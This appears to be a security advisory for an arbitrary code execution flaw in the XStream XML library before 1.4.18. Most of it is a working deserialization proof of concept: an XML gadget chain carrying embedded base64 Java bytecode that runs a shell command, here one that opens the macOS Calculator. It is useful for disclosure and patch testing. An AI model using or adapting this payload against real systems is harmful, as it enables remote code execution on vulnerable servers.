Arbitrary Code Execution Affecting com.thoughtworks.xstream:xstream package, versions [,1.4.18)

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Arbitrary Code Execution. This vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream, if using the version out of the box with Java runtime version 14 to 8 or with JavaFX installed. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types. XStream 1.4.18 uses no longer a blacklist by default, since it cannot be secured for general purpose.

PoC

<java.util.PriorityQueue serialization='custom'>
  <unserializable-parents/>
  <java.util.PriorityQueue>
    <default>
      <size>2</size>
      <comparator class='com.sun.java.util.jar.pack.PackageWriter$2'>
        <outer-class>
          <verbose>0</verbose>
          <effort>0</effort>
          <optDumpBands>false</optDumpBands>
          <optDebugBands>false</optDebugBands>
          <optVaryCodings>false</optVaryCodings>
          <optBigStrings>false</optBigStrings>
          <isReader>false</isReader>
          <bandHeaderBytePos>0</bandHeaderBytePos>
          <bandHeaderBytePos0>0</bandHeaderBytePos0>
          <archiveOptions>0</archiveOptions>
          <archiveSize0>0</archiveSize0>
          <archiveSize1>0</archiveSize1>
          <archiveNextCount>0</archiveNextCount>
          <attrClassFileVersionMask>0</attrClassFileVersionMask>
          <attrIndexTable class='com.sun.javafx.fxml.BeanAdapter'>
            <bean class='com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl' serialization='custom'>
              <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
                <default>
                  <__name>Pwnr</__name>
                  <__bytecodes>
                    <byte-array>yv66vgAAADIAOQoAAwAiBwA3BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAoAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHACoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAsAC0KACsALgEAKG9wZW4gL1N5c3RlbS9BcHBsaWNhdGlvbnMvQ2FsY3VsYXRvci5hcHAIADABAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAyADMKACsANAEADVN0YWNrTWFwVGFibGUBAB55c29zZXJpYWwvUHduZXIyMDU0MTY0NDMxMDIwMTkBACBMeXNvc2VyaWFsL1B3bmVyMjA1NDE2NDQzMTAyMDE5OwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgABAABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAAC8ADgAAAAwAAQAAAAUADwA4AAAAAQATABQAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAADQADgAAACAAAwAAAAEADwA4AAAAAAABABUAFgABAAAAAQAXABgAAgAZAAAABAABABoAAQATABsAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAADgADgAAACoABAAAAAEADwA4AAAAAAABABUAFgABAAAAAQAcAB0AAgAAAAEAHgAfAAMAGQAAAAQAAQAaAAgAKQALAAEADAAAACQAAwACAAAAD6cAAwFMuAAvEjG2ADVXsQAAAAEANgAAAAMAAQMAAgAgAAAAAgAhABEAAAAKAAEAAgAjABAACQ==</byte-array>
                    <byte-array>yv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJ</byte-array>
                  </__bytecodes>
                  <__transletIndex>-1</__transletIndex>
                  <__indentNumber>0</__indentNumber>
                </default>
              </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
            </bean>
            <localCache>
              <methods>
                <entry>
                  <string>getOutputProperties</string>
                  <list>
                    <method>
                      <class>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</class>
                      <name>getOutputProperties</name>
                      <parameter-types/>
                    </method>
                  </list>
                </entry>
              </methods>
            </localCache>
          </attrIndexTable>
          <shortCodeHeader__h__limit>0</shortCodeHeader__h__limit>
        </outer-class>
      </comparator>
    </default>
    <int>3</int>
    <string-array>
      <string>yxxx</string>
      <string>outputProperties</string>
    </string-array>
    <string-array>
      <string>yxxx</string>
    </string-array>
  </java.util.PriorityQueue>
</java.util.PriorityQueue>

XStream xstream = new XStream();
xstream.fromXML(xml);

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• XStream Changelog